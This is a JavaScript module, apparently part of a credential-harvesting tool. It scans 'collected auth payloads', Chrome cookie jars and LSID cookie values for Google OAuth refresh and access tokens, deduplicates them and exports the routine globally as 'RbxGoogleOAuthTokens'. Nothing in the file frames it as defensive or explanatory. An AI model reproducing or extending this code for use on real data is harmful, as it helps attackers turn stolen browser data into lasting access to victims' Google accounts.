'use strict';

/**
 * Extract real Google OAuth refresh/access tokens from collected auth payloads.
 * Avoids false positives from session cookies (SID/PSID values often start with "g.a000").
 */

const GOOGLE_SESSION_COOKIE_NAMES = new Set([
  'SID',
  'HSID',
  'SSID',
  'APISID',
  'SAPISID',
  'LSID',
  'OSID',
  'SIDCC',
  'NID',
  'AEC',
  'DV',
  'UULE',
  'ACCOUNT_CHOOSER',
  '__Secure-1PSID',
  '__Secure-3PSID',
  '__Secure-1PAPISID',
  '__Secure-3PAPISID',
  '__Secure-1PSIDTS',
  '__Secure-3PSIDTS',
  '__Secure-1PSIDCC',
  '__Secure-3PSIDCC',
  '__Secure-OSID',
  '__Host-GAPS',
  '__Host-1PLSID',
  '__Host-3PLSID',
  'GAPS',
  'SEARCH_SAMESITE',
  'CONSENT',
  'SOCS'
]);

const REFRESH_TOKEN_RE = /^1\/\/[0-9A-Za-z_\-./+=:]+$/;
const ACCESS_TOKEN_RE = /^ya29\.[0-9A-Za-z_\-./+=]+$/;

function isGoogleMetaKey(k) {
  if (!k || typeof k !== 'string') return true;
  if (k === '_chromeCookieJar' || k === 'email' || k === 'emails') return true;
  return k.charAt(0) === '_' && k.charAt(1) !== '_';
}

function isGoogleSessionCookieName(name) {
  if (!name || typeof name !== 'string') return false;
  if (GOOGLE_SESSION_COOKIE_NAMES.has(name)) return true;
  const n = name.toUpperCase();
  return n.startsWith('__SECURE-') && (n.includes('PSID') || n.includes('PAPISID'));
}

function looksLikeGoogleOAuthRefreshToken(s) {
  const t = String(s || '').trim();
  if (t.length < 20 || t.length > 8192) return false;
  if (!t.startsWith('1//')) return false;
  if (!REFRESH_TOKEN_RE.test(t)) return false;
  if (/^1\/\/[0-9A-Za-z_\-./+=]+:[0-9]{3,}$/.test(t)) return true;
  return t.length >= 52;
}

function looksLikeGoogleAccessToken(s) {
  const t = String(s || '').trim();
  if (t.length < 30 || t.length > 8192) return false;
  if (!t.startsWith('ya29.')) return false;
  return ACCESS_TOKEN_RE.test(t);
}

function classifyGoogleOAuthToken(s) {
  const t = String(s || '').trim();
  if (!t) return null;
  if (looksLikeGoogleOAuthRefreshToken(t)) return t;
  if (looksLikeGoogleAccessToken(t)) return t;
  return null;
}

function pushUniqueToken(raw, out, seen) {
  const tok = classifyGoogleOAuthToken(raw);
  if (!tok) return;
  for (let i = out.length - 1; i >= 0; i--) {
    const prev = out[i];
    if (tok.startsWith(prev) && tok.length > prev.length) {
      seen.delete(prev);
      out.splice(i, 1);
    } else if (prev.startsWith(tok) && prev.length > tok.length) {
      return;
    }
  }
  if (seen.has(tok)) return;
  seen.add(tok);
  out.push(tok);
}

function scanTextForTokens(text, out, seen) {
  const src = String(text || '');
  if (!src) return;

  const whole = classifyGoogleOAuthToken(src);
  if (whole) {
    pushUniqueToken(whole, out, seen);
    return;
  }

  const refreshRe = /1\/\/[0-9A-Za-z_\-./+=]+(?::[0-9]{3,})?/g;
  let m;
  while ((m = refreshRe.exec(src)) !== null) {
    pushUniqueToken(m[0], out, seen);
  }

  const accessRe = /ya29\.[0-9A-Za-z_\-./+=]{20,}/g;
  while ((m = accessRe.exec(src)) !== null) {
    pushUniqueToken(m[0], out, seen);
  }
}

function scanJsonForTokenFields(node, out, seen, depth) {
  if (depth > 12 || node == null) return;
  if (typeof node === 'string') {
    scanTextForTokens(node, out, seen);
    return;
  }
  if (Array.isArray(node)) {
    for (const item of node) scanJsonForTokenFields(item, out, seen, depth + 1);
    return;
  }
  if (typeof node !== 'object') return;

  for (const [k, v] of Object.entries(node)) {
    const kl = String(k).toLowerCase();
    if (
      kl === 'refresh_token' ||
      kl === 'access_token' ||
      kl === 'oauth_token' ||
      kl === 'oauth_refresh_token' ||
      kl === 'token' ||
      kl.includes('refresh_token') ||
      kl.includes('access_token')
    ) {
      if (typeof v === 'string') pushUniqueToken(v, out, seen);
    }
    scanJsonForTokenFields(v, out, seen, depth + 1);
  }
}

function scanLsidForTokens(lsidRaw, out, seen) {
  if (!lsidRaw || typeof lsidRaw !== 'string') return;
  scanTextForTokens(lsidRaw, out, seen);
  try {
    const dec = decodeURIComponent(lsidRaw);
    if (dec && dec !== lsidRaw) scanTextForTokens(dec, out, seen);
  } catch (_) {
    /* ignore */
  }
  const parts = lsidRaw.split(/[|:\s,;]+/);
  for (const p of parts) {
    if (p.length < 20) continue;
    pushUniqueToken(p, out, seen);
  }
}

function extractGoogleOAuthTokens(googleAuth) {
  if (!googleAuth || typeof googleAuth !== 'object') return '';

  const out = [];
  const seen = new Set();

  for (const [key, val] of Object.entries(googleAuth)) {
    if (!key || isGoogleMetaKey(key)) continue;
    if (isGoogleSessionCookieName(key)) {
      if (key === 'LSID' && typeof val === 'string') scanLsidForTokens(val, out, seen);
      continue;
    }
    if (typeof val !== 'string' || !val.trim()) continue;
    const kk = String(key).toLowerCase();
    if (
      kk === 'refresh_token' ||
      kk === 'access_token' ||
      kk === 'oauth_token' ||
      kk.includes('refresh_token') ||
      kk.includes('access_token')
    ) {
      pushUniqueToken(val, out, seen);
    }
    scanTextForTokens(val, out, seen);
    if (
      (val.startsWith('{') && val.endsWith('}')) ||
      (val.startsWith('[') && val.endsWith(']'))
    ) {
      try {
        scanJsonForTokenFields(JSON.parse(val), out, seen, 0);
      } catch (_) {
        /* ignore */
      }
    }
  }

  if (typeof googleAuth._chromeCookieJar === 'string' && googleAuth._chromeCookieJar.trim()) {
    try {
      const jar = JSON.parse(googleAuth._chromeCookieJar);
      if (Array.isArray(jar)) {
        for (const c of jar) {
          if (!c || !c.value || typeof c.value !== 'string') continue;
          if (c.name === 'LSID') scanLsidForTokens(c.value, out, seen);
          else if (!isGoogleSessionCookieName(c.name)) scanTextForTokens(c.value, out, seen);
        }
      }
    } catch (_) {
      scanTextForTokens(googleAuth._chromeCookieJar, out, seen);
    }
  }

  return out.join('\n');
}

const api = {
  GOOGLE_SESSION_COOKIE_NAMES,
  extractGoogleOAuthTokens,
  looksLikeGoogleOAuthRefreshToken,
  looksLikeGoogleAccessToken,
  classifyGoogleOAuthToken
};

(function attachGoogleOAuthTokensExport(exported) {
  if (typeof module !== 'undefined' && module.exports) {
    module.exports = exported;
  }
  const g = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : {};
  g.RbxGoogleOAuthTokens = exported;
})(api);
